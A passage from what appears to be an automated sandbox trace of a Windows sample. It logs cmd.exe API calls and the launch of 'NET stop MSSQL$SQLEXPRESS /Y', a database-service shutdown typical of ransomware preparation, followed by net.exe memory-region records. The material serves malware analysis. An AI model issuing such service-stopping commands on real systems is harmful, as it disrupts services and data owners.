_String2="ERRORLEVEL") returned 6 [0036.371] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0036.371] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0036.371] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0036.371] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0036.371] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0036.371] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0036.371] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cf628 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1cf628, lpFilePart=0x1cf624 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1cf624*="Desktop") returned 0x25 [0036.371] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0036.371] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1cf3a4 | out: lpFindFileData=0x1cf3a4) returned 0x2a1dc0 [0036.371] FindClose (in: hFindFile=0x2a1dc0 | out: hFindFile=0x2a1dc0) returned 1 [0036.371] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1cf3a4 | out: lpFindFileData=0x1cf3a4) returned 0x2a1dc0 [0036.372] FindClose (in: hFindFile=0x2a1dc0 | out: hFindFile=0x2a1dc0) returned 1 [0036.372] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0036.372] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1cf3a4 | out: lpFindFileData=0x1cf3a4) returned 0x2a1dc0 [0036.372] FindClose (in: hFindFile=0x2a1dc0 | out: hFindFile=0x2a1dc0) returned 1 [0036.372] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0036.372] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0036.372] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0036.372] GetEnvironmentStringsW () returned 0x2a2b28* [0036.372] FreeEnvironmentStringsW (penv=0x2a2b28) returned 1 [0036.372] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49ec5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.373] GetConsoleOutputCP () returned 0x1b5 [0036.373] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49ec4260 | out: lpCPInfo=0x49ec4260) returned 1 [0036.373] GetUserDefaultLCID () returned 0x409 [0036.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49ec4950, cchData=8 | out: lpLCData=":") returned 2 [0036.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cf768, cchData=128 | out: lpLCData="0") returned 2 [0036.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cf768, cchData=128 | out: lpLCData="0") returned 2 [0036.373] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cf768, cchData=128 | out: lpLCData="1") returned 2 [0036.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49ec4940, cchData=8 | out: lpLCData="/") returned 2 [0036.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49ec4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0036.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49ec4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0036.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49ec4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0036.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49ec4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0036.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49ec4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0036.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49ec4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0036.374] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49ec4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0036.374] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49ec4930, cchData=8 | out: lpLCData=".") returned 2 [0036.374] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49ec4920, cchData=8 | out: lpLCData=",") returned 2 [0036.374] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0036.375] GetConsoleTitleW (in: lpConsoleTitle=0x2a5908, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.375] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0036.375] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0036.376] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0036.376] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0036.376] _wcsicmp (_String1="NET", _String2=")") returned 69 [0036.376] _wcsicmp (_String1="FOR", _String2="NET") returned -8 [0036.376] _wcsicmp (_String1="FOR/?", _String2="NET") returned -8 [0036.376] _wcsicmp (_String1="IF", _String2="NET") returned -5 [0036.376] _wcsicmp (_String1="IF/?", _String2="NET") returned -5 [0036.376] _wcsicmp (_String1="REM", _String2="NET") returned 4 [0036.377] _wcsicmp (_String1="REM/?", _String2="NET") returned 4 [0036.378] GetConsoleTitleW (in: lpConsoleTitle=0x1cf460, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.378] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0036.378] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0036.378] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0036.378] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0036.378] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0036.378] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0036.378] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0036.378] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0036.378] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0036.378] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0036.378] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0036.378] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0036.378] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0036.378] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0036.378] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0036.378] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0036.378] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0036.378] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0036.378] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0036.378] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0036.378] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0036.378] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0036.378] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0036.378] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0036.378] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0036.378] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0036.379] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0036.379] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0036.379] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0036.379] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0036.379] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0036.379] _wcsicmp (_String1="NET", _String2="START") returned -5 [0036.379] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0036.379] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0036.379] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0036.379] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0036.379] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0036.379] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0036.379] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0036.379] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0036.379] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0036.379] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0036.379] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0036.379] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0036.379] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0036.379] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0036.379] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0036.379] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0036.379] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0036.379] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0036.379] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0036.379] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0036.379] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0036.379] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0036.379] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0036.379] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0036.379] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0036.379] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0036.379] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0036.379] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0036.379] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0036.379] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0036.379] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0036.379] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0036.380] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0036.380] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0036.380] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0036.380] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0036.380] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0036.380] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0036.380] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0036.380] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0036.380] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0036.380] _wcsicmp (_String1="NET", _String2="START") returned -5 [0036.380] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0036.380] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0036.380] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0036.380] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0036.380] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0036.380] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0036.380] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0036.380] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0036.380] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0036.380] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0036.380] _wcsicmp (_String1="NET", _String2="FOR") returned 8 [0036.380] _wcsicmp (_String1="NET", _String2="IF") returned 5 [0036.380] _wcsicmp (_String1="NET", _String2="REM") returned -4 [0036.380] _wcsnicmp (_String1="NET", _String2="cmd ", _MaxCount=0x4) returned 11 [0036.380] SetErrorMode (uMode=0x0) returned 0x0 [0036.381] SetErrorMode (uMode=0x1) returned 0x0 [0036.381] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2a5dd8, lpFilePart=0x1cef80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1cef80*="Desktop") returned 0x25 [0036.381] SetErrorMode (uMode=0x0) returned 0x1 [0036.381] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49ed0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0036.381] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0036.386] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49ed0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0036.388] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0036.388] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x1cecfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cecfc) returned 0xffffffff [0036.388] GetLastError () returned 0x2 [0036.388] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET", fInfoLevelId=0x1, lpFindFileData=0x1cecfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cecfc) returned 0xffffffff [0036.388] GetLastError () returned 0x2 [0036.388] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0036.388] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x1cecfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cecfc) returned 0x2a6110 [0036.389] FindClose (in: hFindFile=0x2a6110 | out: hFindFile=0x2a6110) returned 1 [0036.389] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.COM", fInfoLevelId=0x1, lpFindFileData=0x1cecfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cecfc) returned 0xffffffff [0036.389] GetLastError () returned 0x2 [0036.389] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.EXE", fInfoLevelId=0x1, lpFindFileData=0x1cecfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cecfc) returned 0x2a6110 [0036.389] FindClose (in: hFindFile=0x2a6110 | out: hFindFile=0x2a6110) returned 1 [0036.389] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0036.389] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0036.389] GetConsoleTitleW (in: lpConsoleTitle=0x1cf1f4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.390] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cf07c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cf144 | out: lpAttributeList=0x1cf07c, lpSize=0x1cf144) returned 1 [0036.390] UpdateProcThreadAttribute (in: lpAttributeList=0x1cf07c, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cf13c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cf07c, lpPreviousValue=0x0) returned 1 [0036.390] GetStartupInfoW (in: lpStartupInfo=0x1cf038 | out: lpStartupInfo=0x1cf038*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x2919ca, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0036.391] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0036.392] lstrcmpW (lpString1="\\net.exe", lpString2="\\XCOPY.EXE") returned -1 [0036.393] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\net.exe", lpCommandLine="NET stop MSSQL$SQLEXPRESS /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1cf0d8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="NET stop MSSQL$SQLEXPRESS /Y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cf124 | out: lpCommandLine="NET stop MSSQL$SQLEXPRESS /Y", lpProcessInformation=0x1cf124*(hProcess=0x7c, hThread=0x78, dwProcessId=0xa40, dwThreadId=0xa44)) returned 1 [0036.397] CloseHandle (hObject=0x78) returned 1 [0036.397] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0036.397] GetEnvironmentStringsW () returned 0x2a4dc8* [0036.397] FreeEnvironmentStringsW (penv=0x2a4dc8) returned 1 [0036.397] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0036.532] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x1cf018 | out: lpExitCode=0x1cf018*=0x2) returned 1 [0036.532] CloseHandle (hObject=0x7c) returned 1 [0036.532] _vsnwprintf (in: _Buffer=0x1cf160, _BufferCount=0x13, _Format="%08X", _ArgList=0x1cf024 | out: _Buffer="00000002") returned 8 [0036.532] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0036.532] GetEnvironmentStringsW () returned 0x2a2b28* [0036.532] FreeEnvironmentStringsW (penv=0x2a2b28) returned 1 [0036.532] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0036.532] GetEnvironmentStringsW () returned 0x2a2b28* [0036.533] FreeEnvironmentStringsW (penv=0x2a2b28) returned 1 [0036.533] DeleteProcThreadAttributeList (in: lpAttributeList=0x1cf07c | out: lpAttributeList=0x1cf07c) [0036.533] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.533] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0036.533] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.533] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49ec41ac | out: lpMode=0x49ec41ac) returned 1 [0036.533] _get_osfhandle (_FileHandle=0) returned 0x3 [0036.533] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49ec41b0 | out: lpMode=0x49ec41b0) returned 1 [0036.533] SetConsoleInputExeNameW () returned 0x1 [0036.533] GetConsoleOutputCP () returned 0x1b5 [0036.533] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49ec4260 | out: lpCPInfo=0x49ec4260) returned 1 [0036.533] SetThreadUILanguage (LangId=0x0) returned 0x409 [0036.534] exit (_Code=2) Process: id = "6" image_name = "net.exe" filename = "c:\\windows\\syswow64\\net.exe" page_root = "0x4e9e3000" os_pid = "0xa40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xa28" cmd_line = "NET stop MSSQL$SQLEXPRESS /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 389 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 390 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 391 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 392 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 393 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 394 start_va = 0x70000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 395 start_va = 0xd0000 end_va = 0xe7fff entry_point = 0xd0000 region_type = mapped_file name = "net.exe" filename = "\\Windows\\SysWOW64\\net.exe" (normalized: "c:\\windows\\syswow64\\net.exe") Region: id = 396 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 397 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 398 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 399 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 400 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 401 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 402 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 403 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 404 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 405 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 406 start_va = 0x400000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 407 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 408 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 409 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 410 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 411 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 412 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 413 start_va = 0x350000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 414 start_va = 0x670000 end_va = 0x76ffff entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 415 start_va = 0x751e0000 end_va = 0x751fbfff entry_point = 0x751e0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 416 start_va = 0x75200000 end_va = 0x75218fff entry_point = 0x75200000 region_type = mapped_file 